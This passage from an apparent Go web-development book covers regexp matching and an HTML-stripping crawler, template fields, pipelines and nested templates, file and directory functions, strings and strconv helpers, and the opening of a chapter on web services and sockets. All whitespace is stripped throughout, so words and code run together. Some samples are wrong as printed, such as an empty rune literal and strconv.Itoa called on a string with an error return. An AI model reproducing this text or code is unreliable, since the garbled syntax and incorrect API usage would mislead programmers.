{"serverName":"Go\"1.0\"","serverName2":"\"Go\\\"1.0\\\"\""}
TheMarshalfunctiononlyreturnsdatawhenithassucceeded,soherearesomepointsweneedtokeepinmind:
JSONonlysupportsstringsaskeys,soifyouwanttoencodeamap,itstypehastobemap[string]T,whereTisthetypeinGo.Typeslikechannel,complextypesandfunctionsarenotabletobeencodedtoJSON.Donottrytoencodecyclicdata,itleadstoaninfiniterecursion.Ifthefieldisapointer,Gooutputsthedatathatitpointsto,orelseoutputsnullifitpointstonil.
Inthissection,weintroducedhowtodecodeandencodeJSONdatainGo.Wealsolookedatonethird-partyprojectcalledsimplejsonwhichisfor
parsingJSONorunknownformat.TheseareallusefulconceptsfordeveloppingwebapplicationsinGo.
Links
DirectoryPrevioussection:XMLNextsection:Regexp
7.3RegexpRegexpisacomplicatedbutpowerfultoolforpatternmatchingandtextmanipulation.Althoughdoesnotperformaswellaspuretextmatching,it'smoreflexible.Basedonitssyntax,youcanfilteralmostanykindoftextfromyoursourcecontent.Ifyouneedtocollectdatainwebdevelopment,it'snothardtouseRegexptoretrievemeaningfuldata.
Gohastheregexppackage,whichprovidesofficialsupportforregexp.Ifyou'vealreadyusedregexpinotherprogramminglanguages,youshouldbefamiliarwithit.NotethatGoimplementedRE2standardexceptfor\C.Formoredetails,followthislink:http://code.google.com/p/re2/wiki/Syntax.
Go'sstringspackagecanactuallydomanyjobslikesearching(Contains,Index),replacing(Replace),parsing(Split,Join),etc.,andit'sfasterthanRegexp.However,thesearealltrivialoperations.Ifyouwanttosearchacaseinsensitivestring,Regexpshouldbeyourbestchoice.So,ifthestringspackageissufficientforyourneeds,justuseitsinceit'seasytouseandread;ifyouneedtoperformmoreadvancedoperations,useRegexp.
Ifyourecallformverificationfromprevioussections,weusedRegexptoverifythevalidityofuserinputinformation.BeawarethatallcharactersareUTF-8.Let'slearnmoreabouttheGoregexppackage!
Match
Theregexppackagehas3functionstomatch:ifitmatchesapattern,thenitreturnstrue,returningfalseotherwise.
funcMatch(patternstring,b[]byte)(matchedbool,errorerror)funcMatchReader(patternstring,rio.RuneReader)(matchedbool,errorerror)funcMatchString(patternstring,sstring)(matchedbool,errorerror)
Allof3functionscheckifpatternmatchestheinputsource,returningtrueifitmatches.HoweverifyourRegexhassyntaxerrors,itwillreturnanerror.The3inputsourcesofthesefunctionsaresliceofbyte,RuneReaderandstring.
HereisanexampleofhowtoverifyanIPaddress:
funcIsIP(ipstring)(bbool){ifm,_:=regexp.MatchString("^[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}$",ip);!m{returnfalse}returntrue}
Asyoucansee,usingpatternintheregexppackageisnotthatdifferent.Here'sonemoreexampleonverifyingifuserinputisvalid:
funcmain(){iflen(os.Args)==1{fmt.Println("Usage:regexp[string]")os.Exit(1)}elseifm,_:=regexp.MatchString("^[0-9]+$",os.Args[1]);m{fmt.Println("Number")}else{
fmt.Println("Notnumber")}}
Intheaboveexamples,weuseMatch(Reader|Sting)tocheckifcontentisvalid,buttheyarealleasytouse.
Filter
Matchmodecanverifycontentbutitcannotcut,filterorcollectdatafromit.Ifyouwanttodothat,youhavetousecomplexmodeofRegexp.
Let'ssayweneedtowriteacrawler.HereisanexamplethatshowswhenyoumustuseRegexptofilterandcutdata.
packagemain
import("fmt""io/ioutil""net/http""regexp""strings")
funcmain(){resp,err:=http.Get("http://www.baidu.com")iferr!=nil{fmt.Println("httpgeterror.")}deferresp.Body.Close()body,err:=ioutil.ReadAll(resp.Body)iferr!=nil{fmt.Println("httpreaderror")return}
src:=string(body)
//ConvertHTMLtagstolowercase.
re,_:=regexp.Compile("\\<[\\S\\s]+?\\>")src=re.ReplaceAllStringFunc(src,strings.ToLower)
//RemoveSTYLE.re,_=regexp.Compile("\\<style[\\S\\s]+?\\</style\\>")src=re.ReplaceAllString(src,"")
//RemoveSCRIPT.re,_=regexp.Compile("\\<script[\\S\\s]+?\\</script\\>")src=re.ReplaceAllString(src,"")
//RemoveallHTMLcodeinanglebrackets,andreplacewithnewline.re,_=regexp.Compile("\\<[\\S\\s]+?\\>")src=re.ReplaceAllString(src,"\n")
//Removecontinuousnewline.re,_=regexp.Compile("\\s{2,}")src=re.ReplaceAllString(src,"\n")
fmt.Println(strings.TrimSpace(src))}
Inthisexample,weuseCompileasthefirststepforcomplexmode.ItverifiesthatyourRegexsyntaxiscorrect,thenreturnsaRegexpforparsingcontentinotheroperations.
HerearesomefunctionstoparseyourRegexpsyntax:
funcCompile(exprstring)(*Regexp,error)funcCompilePOSIX(exprstring)(*Regexp,error)funcMustCompile(strstring)*RegexpfuncMustCompilePOSIX(strstring)*Regexp
ThedifferencebetweenComplePOSIXandCompileisthattheformerhastousePOSIXsyntaxwhichisleftmostlongestsearch,andthelatterisonlyleftmostsearch.Forinstance,forRegexp[a-z]{2,4}andcontent"aa09aaa88aaaa",CompilePOSIXreturnsaaaabutCompilereturnsaa.MustprefixmeanspanicwhentheRegexpsyntaxisnotcorrect,returningerrorotherwise.
NowthatweknowhowtocreateanewRegexp,let'sseewhathowthemethodsprovidedbythisstructcanhelpustooperateoncontent:
func(re*Regexp)Find(b[]byte)[]bytefunc(re*Regexp)FindAll(b[]byte,nint)[][]bytefunc(re*Regexp)FindAllIndex(b[]byte,nint)[][]intfunc(re*Regexp)FindAllString(sstring,nint)[]stringfunc(re*Regexp)FindAllStringIndex(sstring,nint)[][]intfunc(re*Regexp)FindAllStringSubmatch(sstring,nint)[][]stringfunc(re*Regexp)FindAllStringSubmatchIndex(sstring,nint)[][]intfunc(re*Regexp)FindAllSubmatch(b[]byte,nint)[][][]bytefunc(re*Regexp)FindAllSubmatchIndex(b[]byte,nint)[][]intfunc(re*Regexp)FindIndex(b[]byte)(loc[]int)func(re*Regexp)FindReaderIndex(rio.RuneReader)(loc[]int)func(re*Regexp)FindReaderSubmatchIndex(rio.RuneReader)[]intfunc(re*Regexp)FindString(sstring)stringfunc(re*Regexp)FindStringIndex(sstring)(loc[]int)func(re*Regexp)FindStringSubmatch(sstring)[]stringfunc(re*Regexp)FindStringSubmatchIndex(sstring)[]intfunc(re*Regexp)FindSubmatch(b[]byte)[][]bytefunc(re*Regexp)FindSubmatchIndex(b[]byte)[]int
These18methodsincludeidenticalfunctionsfordifferentinputsources(byteslice,stringandio.RuneReader),sowecanreallysimplifythislistbyignoringinputsourcesasfollows:
func(re*Regexp)Find(b[]byte)[]bytefunc(re*Regexp)FindAll(b[]byte,nint)[][]bytefunc(re*Regexp)FindAllIndex(b[]byte,nint)[][]intfunc(re*Regexp)FindAllSubmatch(b[]byte,nint)[][][]bytefunc(re*Regexp)FindAllSubmatchIndex(b[]byte,nint)[][]intfunc(re*Regexp)FindIndex(b[]byte)(loc[]int)func(re*Regexp)FindSubmatch(b[]byte)[][]bytefunc(re*Regexp)FindSubmatchIndex(b[]byte)[]int
Codesample:
packagemain
import("fmt""regexp")
funcmain(){a:="IamlearningGolanguage"
re,_:=regexp.Compile("[a-z]{2,4}")
//Findthefirstmatch.one:=re.Find([]byte(a))fmt.Println("Find:",string(one))
//Findallmatchesandsavetoaslice,nlessthan0meansreturnallmatches,indicateslengthofsliceifit'sgreaterthan0.all:=re.FindAll([]byte(a),-1)fmt.Println("FindAll",all)
//Findindexoffirstmatch,startandendposition.index:=re.FindIndex([]byte(a))fmt.Println("FindIndex",index)
//Findindexofallmatches,thendoessamejobasabove.allindex:=re.FindAllIndex([]byte(a),-1)fmt.Println("FindAllIndex",allindex)
re2,_:=regexp.Compile("am(.*)lang(.*)")
//Findfirstsubmatchandreturnarray,thefirstelementcontainsallelements,thesecondelementcontainstheresultoffirst(),thethirdelementcontainstheresultofsecond().//Output://thefirstelement:"amlearningGolanguage"//thesecondelement:"learningGo",noticespaceswillbeoutputedaswell.//thethirdelement:"uage"submatch:=re2.FindSubmatch([]byte(a))fmt.Println("FindSubmatch",submatch)for_,v:=rangesubmatch{fmt.Println(string(v))}
//SamethinglikeFindIndex().submatchindex:=re2.FindSubmatchIndex([]byte(a))
fmt.Println(submatchindex)
//FindAllSubmatch,findallsubmatches.submatchall:=re2.FindAllSubmatch([]byte(a),-1)fmt.Println(submatchall)
//FindAllSubmatchIndex,findindexofallsubmatches.submatchallindex:=re2.FindAllSubmatchIndex([]byte(a),-1)fmt.Println(submatchallindex)}
Aswe'vepreviouslyintroduced,Regexpalsohas3methodsformatching.Theydotheexactsamethingsastheexportedfunctions.Infact,thoseexportedfunctionsactuallycallthesemethodsunderthehood:
func(re*Regexp)Match(b[]byte)boolfunc(re*Regexp)MatchReader(rio.RuneReader)boolfunc(re*Regexp)MatchString(sstring)bool
Next,let'sseehowtoreplacestringsusingRegexp:
func(re*Regexp)ReplaceAll(src,repl[]byte)[]bytefunc(re*Regexp)ReplaceAllFunc(src[]byte,replfunc([]byte)[]byte)[]bytefunc(re*Regexp)ReplaceAllLiteral(src,repl[]byte)[]bytefunc(re*Regexp)ReplaceAllLiteralString(src,replstring)stringfunc(re*Regexp)ReplaceAllString(src,replstring)stringfunc(re*Regexp)ReplaceAllStringFunc(srcstring,replfunc(string)string)string
Theseareusedinthecrawlingexample,sowedon'texplainmorehere.
Let'stakealookatthedefinitionofExpand:
func(re*Regexp)Expand(dst[]byte,template[]byte,src[]byte,match[]int)[]bytefunc(re*Regexp)ExpandString(dst[]byte,templatestring,srcstring,match[]int)[]byte
SohowdoweuseExpand?
funcmain(){src:=[]byte(`callhelloalicehellobobcallhelloeve`)pat:=regexp.MustCompile(`(?m)(call)\s+(?P<cmd>\w+)\s+(?P<arg>.+)\s*$`)res:=[]byte{}for_,s:=rangepat.FindAllSubmatchIndex(src,-1){res=pat.Expand(res,[]byte("$cmd('$arg')\n"),src,s)}fmt.Println(string(res))}
Atthispoint,you'velearnedthewholeregexppackageinGo.Ihopethatyoucanunderstandmorebystudyingexamplesofkeymethods,sothatyoucandosomethinginterestingonyourown.
Links
DirectoryPrevioussection:JSONNextsection:Templates
7.4Templates
Whatisatemplate?
Hopefullyyou'reawareoftheMVC(Model,View,Controller)designmodel,wheremodelsprocessdata,viewsshowtheresultsandfinally,controllers
handleuserrequests.Forviews,manydynamiclanguagesgeneratedatabywritingcodeinstaticHTMLfiles.Forinstance,JSPisimplementedbyinserting<%=....=%>,PHPbyinserting<?php.....?>,etc.
Thefollowingdemonstratesthetemplatemechanism:
Figure7.1Templatemechanism
Mostofthecontentthatwebapplicationsrespondtoclientswithisstatic,andthedynamicpartsareusuallyverysmall.Forexample,ifyouneedtoshowalistuserswhohavevisitedapage,onlytheusernamewouldbedynamic.Thestyleofthelistremainsthesame.Asyoucansee,templatesareusefulforreusingstaticcontent.
TemplatinginGo
InGo,wehavethetemplatepackagetohelphandletemplates.WecanusefunctionslikeParse,ParseFileandExecutetoloadtemplatesfromplaintextorfiles,thenevaluatethedynamicparts,likeinfigure7.1.
Example:
funchandler(whttp.ResponseWriter,r*http.Request){t:=template.New("sometemplate")//Createatemplate.t,_=t.ParseFiles("tmpl/welcome.html",nil)//Parsetemplatefile.user:=GetUser()//Getcurrentuserinfomration.t.Execute(w,user)//merge.}
Asyoucansee,it'sveryeasytouse,loadandrenderdataintemplatesinGo,justlikeinotherprogramminglanguages.
Forthesakeofconvenience,wewillusethefollowingrulesinourexamples:
UseParsetoreplaceParseFilesbecauseParsecantestcontentdirectlyfromstrings,sowedon'tneedanyextrafiles.Usemainforeveryexampleanddonotusehandler.Useos.Stdouttoreplacehttp.ResponseWritersinceos.Stdoutalsoimplementstheio.Writerinterface.
Insertingdataintoatemplate
We'vejustshowedyouhowtoparseandrendertemplates.Let'stakeitonestepfurtherandrenderdatatoourtemplates.EverytemplateisanobjectinGo,sohowdoweinsertfieldstotemplates?
Fields
InGo,Everyfieldthatyouintendtoberenderedwithinatemplateshouldbeputinsideof{{}}.{{.}}isshorthandforthecurrentobject,whichissimilartoitsJavaorC++counterpart.Ifyouwanttoaccessthefieldsofthecurrentobject,youshoulduse{{.FieldName}}.Noticethatonlyexportedfieldscanbeaccessedintemplates.Hereisanexample:
packagemain
import("html/template""os")
typePersonstruct{UserNamestring}
funcmain(){
t:=template.New("fieldnameexample")t,_=t.Parse("hello{{.UserName}}!")p:=Person{UserName:"Astaxie"}t.Execute(os.Stdout,p)}
TheaboveexampleoutputshelloAstaxiecorrectly,butifwemodifyourstructalittlebit,thefollowingerroremerges:
typePersonstruct{UserNamestringemailstring//Fieldisnotexported.}
t,_=t.Parse("hello{{.UserName}}!{{.email}}")
Thispartofthecodewillnotbecompiledbecausewetrytoaccessafieldthathasnotbeenexported.However,ifwetrytouseafieldthatdoesnotexist,Gosimplyoutputsanemptystringinsteadofanerror.
Ifyouprint{{.}}inatemplate,Gooutputsformattedstringofthisobject,callingfmtunderthecovers.
Nestedfields
Weknowhowtooutputafieldnow.Whatifthefieldisanobject,anditalsohasitsownfields?Howdoweprintthemallinoneloop?Wecanuse{{with…}}…{{end}}and{{range…}}{{end}}forexactlythat.
{{range}}justlikerangeinGo.{{with}}letsyouwritethesameobjectnameonceanduse.asshorthandforit(SimilartowithinVB).
Moreexamples:
packagemain
import("html/template""os")
typeFriendstruct{Fnamestring}
typePersonstruct{UserNamestringEmails[]stringFriends[]*Friend}
funcmain(){f1:=Friend{Fname:"minux.ma"}f2:=Friend{Fname:"xushiwei"}t:=template.New("fieldnameexample")t,_=t.Parse(`hello{{.UserName}}!{{range.Emails}}anemail{{.}}{{end}}{{with.Friends}}{{range.}}myfriendnameis{{.Fname}}{{end}}{{end}}`)p:=Person{UserName:"Astaxie",Emails:[]string{"[email protected]","[email protected]"},Friends:[]*Friend{&f1,&f2}}t.Execute(os.Stdout,p)}
Conditions
Ifyouneedtocheckforconditionsintemplates,youcanusetheif-elsesyntaxjustlikeyoudoinregularGoprograms.Ifthepipelineisempty,thedefaultvalueofifisfalse.Thefollowingexampleshowshowtouseif-elseintemplates:
packagemain
import("os""text/template")
funcmain(){tEmpty:=template.New("templatetest")tEmpty=template.Must(tEmpty.Parse("Emptypipelineifdemo:{{if``}}willnotbeoutputted.{{end}}\n"))tEmpty.Execute(os.Stdout,nil)
tWithValue:=template.New("templatetest")tWithValue=template.Must(tWithValue.Parse("Notemptypipelineifdemo:{{if`anything`}}willbeoutputted.{{end}}\n"))tWithValue.Execute(os.Stdout,nil)
tIfElse:=template.New("templatetest")tIfElse=template.Must(tIfElse.Parse("if-elsedemo:{{if`anything`}}ifpart{{else}}elsepart.{{end}}\n"))tIfElse.Execute(os.Stdout,nil)}
Asyoucansee,it'seasytouseif-elseintemplates.
AttentionYouCANNOTuseconditionalexpressionsinif,forinstance.Mail=="[email protected]".Onlybooleanvaluesareacceptable.
pipelines
Unixusersshouldbefamiliarwiththepipeoperator,likels|grep"beego".Thiscommandfiltersfilesandonlyshowsthosethatcontainthewordbeego.OnethingthatIlikeaboutGotemplatesisthattheysupportpipes.Anythingin{{}}canbethedataofpipelines.Thee-mailweusedabovecanrenderourapplicationvulnerabletoXSSattacks.Howcanweaddressthisissueusingpipes?
{{.|html}}
Wecanusethismethodtoescapethee-mailbodytoHTML.It'squitethesameaswritingaUnixcommand,anditsconvenientforuseintemplatefunctions.
Templatevariables
Sometimesweneedtouselocalvariablesintemplates.Wecanusethemwiththewith,rangeandifkeywords,andtheirscopeisbetweenthesekeywordsand{{end}}.Here'sanexampleofdeclaringaglobalvariable:
$variable:=pipeline
Moreexamples:
{{with$x:="output"|printf"%q"}}{{$x}}{{end}}{{with$x:="output"}}{{printf"%q"$x}}{{end}}{{with$x:="output"}}{{$x|printf"%q"}}{{end}}
Templatefunctions
Gousesthefmtpackagetoformatoutputintemplates,butsometimesweneedtodosomethingelse.Asanexamplescenario,let'ssaywewanttoreplace@withatinoure-mailaddress,likeastaxieatbeego.me.Atthispoint,wehavetowriteacustomizedfunction.
EverytemplatefunctionhasauniquenameandisassociatedwithonefunctioninyourGoprogramasfollows:
typeFuncMapmap[string]interface{}
SupposewehaveanemailDealtemplatefunctionassociatedwithitsEmailDealWithcounterpartfunctioninourGoprogram.Wecanusethe
followingcodetoregisterthisfunction:
t=t.Funcs(template.FuncMap{"emailDeal":EmailDealWith})
EmailDealWithdefinition:
funcEmailDealWith(args…interface{})string
Example:
packagemain
import("fmt""html/template""os""strings")
typeFriendstruct{Fnamestring}
typePersonstruct{UserNamestringEmails[]stringFriends[]*Friend}
funcEmailDealWith(args...interface{})string{ok:=falsevarsstringiflen(args)==1{s,ok=args[0].(string)}if!ok{s=fmt.Sprint(args...)}//findthe@symbolsubstrs:=strings.Split(s,"@")
iflen(substrs)!=2{returns}//replacethe@by"at"return(substrs[0]+"at"+substrs[1])}
funcmain(){f1:=Friend{Fname:"minux.ma"}f2:=Friend{Fname:"xushiwei"}t:=template.New("fieldnameexample")t=t.Funcs(template.FuncMap{"emailDeal":EmailDealWith})t,_=t.Parse(`hello{{.UserName}}!{{range.Emails}}anemails{{.|emailDeal}}{{end}}{{with.Friends}}{{range.}}myfriendnameis{{.Fname}}{{end}}{{end}}`)p:=Person{UserName:"Astaxie",Emails:[]string{"[email protected]","[email protected]"},Friends:[]*Friend{&f1,&f2}}t.Execute(os.Stdout,p)}
Hereisalistofbuilt-intemplatefunctions:
varbuiltins=FuncMap{"and":and,"call":call,"html":HTMLEscaper,"index":index,"js":JSEscaper,"len":length,"not":not,"or":or,"print":fmt.Sprint,"printf":fmt.Sprintf,"println":fmt.Sprintln,"urlquery":URLQueryEscaper,}
Must
ThetemplatepackagehasafunctioncalledMustwhichisforvalidatingtemplates,likethematchingofbraces,comments,andvariables.Let'stakealookatanexampleofMust:
packagemain
import("fmt""text/template")
funcmain(){tOk:=template.New("first")template.Must(tOk.Parse("somestatictext/*andacomment*/"))fmt.Println("ThefirstoneparsedOK.")
template.Must(template.New("second").Parse("somestatictext{{.Name}}"))fmt.Println("ThesecondoneparsedOK.")
fmt.Println("Thenextoneoughttofail.")tErr:=template.New("checkparseerrorwithMust")template.Must(tErr.Parse("somestatictext{{.Name}"))}
Output:
ThefirstoneparsedOK.ThesecondoneparsedOK.Thenextoneoughttofail.panic:template:checkparseerrorwithMust:1:unexpected"}"incommand
Nestedtemplates
Justlikeinmostwebapplications,certainpartsoftemplatescanbereusedacrossothertemplates,liketheheadersandfootersofablog.Wecandeclareheader,contentandfooterassub-templates,anddeclaretheminGousingthefollowingsyntax:
{{define"sub-template"}}content{{end}}
Thesub-templateiscalledusingthefollowingsyntax:
{{template"sub-template"}}
Here'sacompleteexample,supposingthatwehavethefollowingthreefiles:header.tmpl,content.tmplandfooter.tmpl.
Maintemplate:
//header.tmpl{{define"header"}}<html><head><title>Somethinghere</title></head><body>{{end}}
//content.tmpl{{define"content"}}{{template"header"}}<h1>Nestedhere</h1><ul><li>Nestedusag</li><li>Calltemplate</li></ul>{{template"footer"}}{{end}}
//footer.tmpl{{define"footer"}}</body></html>{{end}}
Code:
packagemain
import("fmt""os""text/template")
funcmain(){s1,_:=template.ParseFiles("header.tmpl","content.tmpl","footer.tmpl")s1.ExecuteTemplate(os.Stdout,"header",nil)fmt.Println()s1.ExecuteTemplate(os.Stdout,"content",nil)fmt.Println()s1.ExecuteTemplate(os.Stdout,"footer",nil)fmt.Println()s1.Execute(os.Stdout,nil)}
Herewecanseethattemplate.ParseFilesparsesallnestedtemplatesintocache,andthateverytemplatedefinedby{{define}}isindependentofoneanother.Theyarepersistedinsomethinglikeamap,wherethetemplatenamesarekeysandthevaluesarethetemplatebodies.WecanthenuseExecuteTemplatetoexecutethecorrespondingsub-templates,sothattheheaderandfooterareindependentandcontentcontainsthemboth.Notethatifwetrytoexecutes1.Execute,nothingwillbeoutputtedbecausethereisnodefaultsub-templateavailable.
Templatesinonesetknoweachother,butyoumustparsethemforeverysingleset.
Summary
Inthissection,youlearnedhowtocombinedynamicdatawithtemplatesusingtechniquesincludingprintingdatainloops,templatefunctionsandnestedtemplates.Bylearningabouttemplates,wecanconcludediscussingtheVpartoftheMVCarchitecture.Inthefollowingchapters,wewillcovertheMandCaspectsofMVC.
Links
DirectoryPrevioussection:RegexpNextsection:Files
7.5FilesFilesaremust-haveobjectsoneverysinglecomputerdevice.Itwon'tcomeasanysurprisetoyouthatwebapplicationsalsomakeheavyuseofthem.Inthissection,we'regoingtolearnhowtooperateonfilesinGo.
Directories
InGo,mostofthefileoperationfunctionsarelocatedintheospackage.Herearesomedirectoryfunctions:
funcMkdir(namestring,permFileMode)error
Createadirectorywithname.permisthedirectorypermissions,i.e0777.
funcMkdirAll(pathstring,permFileMode)error
Createmultipledirectoriesaccordingtopath,like
astaxie/test1/test2.
funcRemove(namestring)error
Removesdirectorywithname.Returnserrorifit'snotadirectoryornotempty.
funcRemoveAll(pathstring)error
Removesmultipledirectoriesaccordingtopath.Directorieswillnotbedeletedifpathisasinglepath.
Codesample:
packagemain
import("fmt""os")
funcmain(){os.Mkdir("astaxie",0777)os.MkdirAll("astaxie/test1/test2",0777)err:=os.Remove("astaxie")iferr!=nil{fmt.Println(err)}os.RemoveAll("astaxie")}
Files
Createandopenfiles
Therearetwofunctionsforcreatingfiles:
funcCreate(namestring)(file*File,errError)
Createafilewithnameandreturnaread-writablefileobjectwithpermission0666.
funcNewFile(fduintptr,namestring)*File
Createafileandreturnafileobject.
Therearealsotwofunctionstoopenfiles:
funcOpen(namestring)(file*File,errError)
Opensafilecallednamewithread-onlyaccess,callingOpenFileunderthecovers.
funcOpenFile(namestring,flagint,permuint32)(file*File,errError)
Opensafilecalledname.flagisopenmodelikeread-only,read-write,etc.permarethefilepermissions.
Writefiles
Functionsforwritingfiles:
func(file*File)Write(b[]byte)(nint,errError)
Writebytetypecontenttoafile.
func(file*File)WriteAt(b[]byte,offint64)(nint,errError)
Writebytetypecontenttoaspecificpositionofafile.
func(file*File)WriteString(sstring)(retint,errError)
Writeastringtoafile.
Codesample:
packagemain
import("fmt""os")
funcmain(){userFile:="astaxie.txt"fout,err:=os.Create(userFile)iferr!=nil{fmt.Println(userFile,err)return}deferfout.Close()fori:=0;i<10;i++{fout.WriteString("Justatest!\r\n")fout.Write([]byte("Justatest!\r\n"))}}
Readfiles
Functionsforreadingfiles:
func(file*File)Read(b[]byte)(nint,errError)
Readdatatob.
func(file*File)ReadAt(b[]byte,offint64)(nint,errError)
Readdatafrompositionofftob.
Codesample:
packagemain
import("fmt""os")
funcmain(){userFile:="asatxie.txt"fl,err:=os.Open(userFile)iferr!=nil{fmt.Println(userFile,err)return}deferfl.Close()buf:=make([]byte,1024)for{n,_:=fl.Read(buf)if0==n{break}os.Stdout.Write(buf[:n])}}
Deletefiles
Gousesthesamefunctionforremovingfilesanddirectories:
funcRemove(namestring)Error
Removeafileordirectorycalledname.(anameendingwith/signifiesthatit'sadirectory)
Links
DirectoryPrevioussection:TemplatesNextsection:Strings
7.6StringsOntheweb,almosteverythingwesee(includinguserinputs,databaseaccess,etc.),isrepresentedbystrings.Theyareaveryimportantpartof
webdevelopment.Inmanycases,wealsoneedtosplit,join,convertandotherwisemanipulatestrings.Inthissection,wearegoingtointroducethestringsandstrconvpackagesfromtheGostandardlibrary.
strings
Thefollowingfunctionsarefromthestringspackage.Seetheofficialdocumentationformoredetails:
funcContains(s,substrstring)bool
Checkifstringscontainsstringsubstr,returnsabooleanvalue.
fmt.Println(strings.Contains("seafood","foo"))fmt.Println(strings.Contains("seafood","bar"))fmt.Println(strings.Contains("seafood",""))fmt.Println(strings.Contains("",""))
//Output://true//false//true//true
funcJoin(a[]string,sepstring)string
Combinestringsfromslicewithseparatorsep.
s:=[]string{"foo","bar","baz"}fmt.Println(strings.Join(s,","))//Output:foo,bar,baz
funcIndex(s,sepstring)int
Findindexofsepinstrings,returns-1ifit'snotfound.
fmt.Println(strings.Index("chicken","ken"))fmt.Println(strings.Index("chicken","dmr"))//Output:4//-1
funcRepeat(sstring,countint)string
Repeatstringscounttimes.
fmt.Println("ba"+strings.Repeat("na",2))//Output:banana
funcReplace(s,old,newstring,nint)string
Replacestringoldwithstringnewinstrings.nisthenumberofreplacements.Ifnislessthan0,replaceallinstances.
fmt.Println(strings.Replace("oinkoinkoink","k","ky",2))fmt.Println(strings.Replace("oinkoinkoink","oink","moo",-1))//Output:oinkyoinkyoink//moomoomoo
funcSplit(s,sepstring)[]string
Splitstringswithseparatorsepintoaslice.
fmt.Printf("%q\n",strings.Split("a,b,c",","))fmt.Printf("%q\n",strings.Split("amanaplanacanalpanama","a"))fmt.Printf("%q\n",strings.Split("xyz",""))fmt.Printf("%q\n",strings.Split("","BernardoO'Higgins"))//Output:["a""b""c"]//["""man""plan""canalpanama"]//["""x""y""z"""]//[""]
funcTrim(sstring,cutsetstring)string
Removecutsetofstringsifit'sleftmostorrightmost.
fmt.Printf("[%q]",strings.Trim("!!!Achtung!!!","!"))Output:["Achtung"]
funcFields(sstring)[]string
Removespaceitemsandsplitstringwithspaceintoaslice.
fmt.Printf("Fieldsare:%q",strings.Fields("foobarbaz"))//Output:Fieldsare:["foo""bar""baz"]
strconv
Thefollowingfunctionsarefromthestrconvpackage.Asusual,pleaseseeofficialdocumentationformoredetails:
Appendseries,convertdatatostring,andappendtocurrentbyteslice.
packagemain
import("fmt""strconv")
funcmain(){str:=make([]byte,0,100)str=strconv.AppendInt(str,4567,10)str=strconv.AppendBool(str,false)str=strconv.AppendQuote(str,"abcdefg")str=strconv.AppendQuoteRune(str,'' )fmt.Println(string(str))}
Formatseries,convertotherdatatypesintostring.
packagemain
import("fmt""strconv")
funcmain(){a:=strconv.FormatBool(false)b:=strconv.FormatFloat(123.23,'g',12,64)c:=strconv.FormatInt(1234,10)d:=strconv.FormatUint(12345,10)e:=strconv.Itoa(1023)fmt.Println(a,b,c,d,e)}
Parseseries,convertstringstoothertypes.
packagemain
import("fmt""strconv")
funcmain(){a,err:=strconv.ParseBool("false")iferr!=nil{fmt.Println(err)}b,err:=strconv.ParseFloat("123.23",64)iferr!=nil{fmt.Println(err)}c,err:=strconv.ParseInt("1234",10,64)iferr!=nil{fmt.Println(err)}
d,err:=strconv.ParseUint("12345",10,64)iferr!=nil{fmt.Println(err)}e,err:=strconv.Itoa("1023")iferr!=nil{fmt.Println(err)}fmt.Println(a,b,c,d,e)}
Links
DirectoryPrevioussection:FilesNextsection:Summary
7.7SummaryInthischapter,weintroducedsometextprocessingtoolslikeXML,JSON,Regexpandwealsotalkedabouttemplates.XMLandJSONaredataexchangetools.Youcanrepresentalmostanykindofinformationusingthesetwoformats.Regexpisapowerfultoolforsearching,replacingandcuttingtextcontent.Withtemplates,youcaneasilycombinedynamicdatawithstaticfiles.Thesetoolsareallusefulwhendeveloppingwebapplications.IhopethatyounowhaveabetterunderstandingofprocessingandshowingcontentusingGo.
Links
DirectoryPrevioussection:StringsNextchapter:Webservices
8WebservicesWebservicesallowyouuseformatslikeXMLorJSONtoexchangeinformationthroughHTTP.Forexample,ifyouwanttoknowtheweatherinShanghaitomorrow,thecurrentsharepriceofApple,orproductinformationonAmazon,youcanwriteapieceofcodetofetchthatinformationfromopenplatforms.InGo,thisprocesscanbecomparabletocallingalocalfunctionandgettingitsreturnvalue.
Thekeypointisthatwebservicesareplatformindependent.ThisallowsyoutodeployyourapplicationsonLinuxandinteractwithASP.NETapplicationsinWindows,forexample,justlikeyouwouldn'thaveaprobleminteractingwithJSPonFreeBSDeither.
TheRESTarchitectureandSOAPprotocolarethemostpopularstylesinwhichwebservicescanbeimplementedthesedays:
RESTrequestsareprettystraightforwardbecauseit'sbasedonHTTP.EveryRESTrequestisactuallyanHTTPrequest,andservershandlerequestsusingdifferentmethods.BecausemanydevelopersarefamiliarwithHTTPalready,RESTshouldfeellikeit'salreadyintheirbackpockets.WearegoingtoshowyouhowtoimplementRESTinGoinsection8.3.SOAPisastandardforcross-networkinformationtransmissionandremotecomputerfunctioncalls,launchedbyW3C.TheproblemwithSOAPisthatitsspecificationisverylongandcomplicated,andit'sstillgettinglonger.Gobelievesthatthingsshouldbesimple,sowe'renotgoingtotalkaboutSOAP.Fortunately,GoprovidessupportforRPC(RemoteProcedureCalls)whichhasgoodperformanceandiseasytodevelopwith,sowewillintroducehowtoimplementRPCinGoinsection8.4.
GoistheClanguageofthe21stcentury,aspiringtobesimpleyetperformant.Withthesequalitiesinmind,we'llintroduceyoutosocketprogramminginGoinsection8.1.Nowadays,manyreal-timeserversusesocketstoovercomethelowperformanceofHTTP.Alongwiththerapid
developmentofHTML5,websocketsarenowusedbymanywebbasedgamecompanies,andwewilltalkaboutthismoreinsection8.2.
Links
DirectoryPreviousChapter:Chapter7SummaryNextsection:Sockets
8.1SocketsSomenetworkapplicationdeveloperssaythatthelowerapplicationlayersareallaboutsocketprogramming.Thismaynotbetrueforallcases,butmanymodernwebapplicationsdoindeedusesocketstotheiradvantage.Haveyoueverwonderedhowbrowserscommunicatewithwebserverswhenyouaresurfingtheinternet?OrHowMSNconnectsyouandyourfriendstogetherinachatroom,relayingeachmessageinreal-time?Manyservicesliketheseusesocketstotransferdata.Asyoucansee,socketsoccupyanimportantpositioninnetworkprogrammingtoday,andwe'regoingtolearnaboutusingsocketsinGointhissection.
Whatisasocket
SocketsoriginatefromUnix,andgiventhebasic"everythingisafile"philosophyofUnix,everythingcanbeoperatedonwith"open->write/read->close".Socketsareoneimplementationofthisphilosophy.Socketshaveafunctioncallforopeningasocketjustlikeyouwouldopenafile.Thisreturnsanintdescriptorofthesocketwhichcanthenbeusedforoperationslikecreatingconnections,transferringdata,etc.
Twotypesofsocketsthatarecommonlyusedarestreamsockets(SOCK_STREAM)anddatagramsockets(SOCK_DGRAM).Streamsocketsareconnection-orientedlikeTCP,whiledatagramsocketsdonotestablish
connections,likeUDP.
Socketcommunication
